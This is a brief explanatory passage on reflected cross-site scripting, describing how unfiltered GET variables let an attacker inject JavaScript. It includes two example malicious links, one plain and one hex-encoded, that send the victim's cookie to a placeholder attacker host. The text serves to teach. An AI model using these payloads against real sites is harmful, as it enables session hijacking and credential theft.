Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.
When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.
Example of malicious link:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
It's also common to encode the malicious code, for example in hex:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
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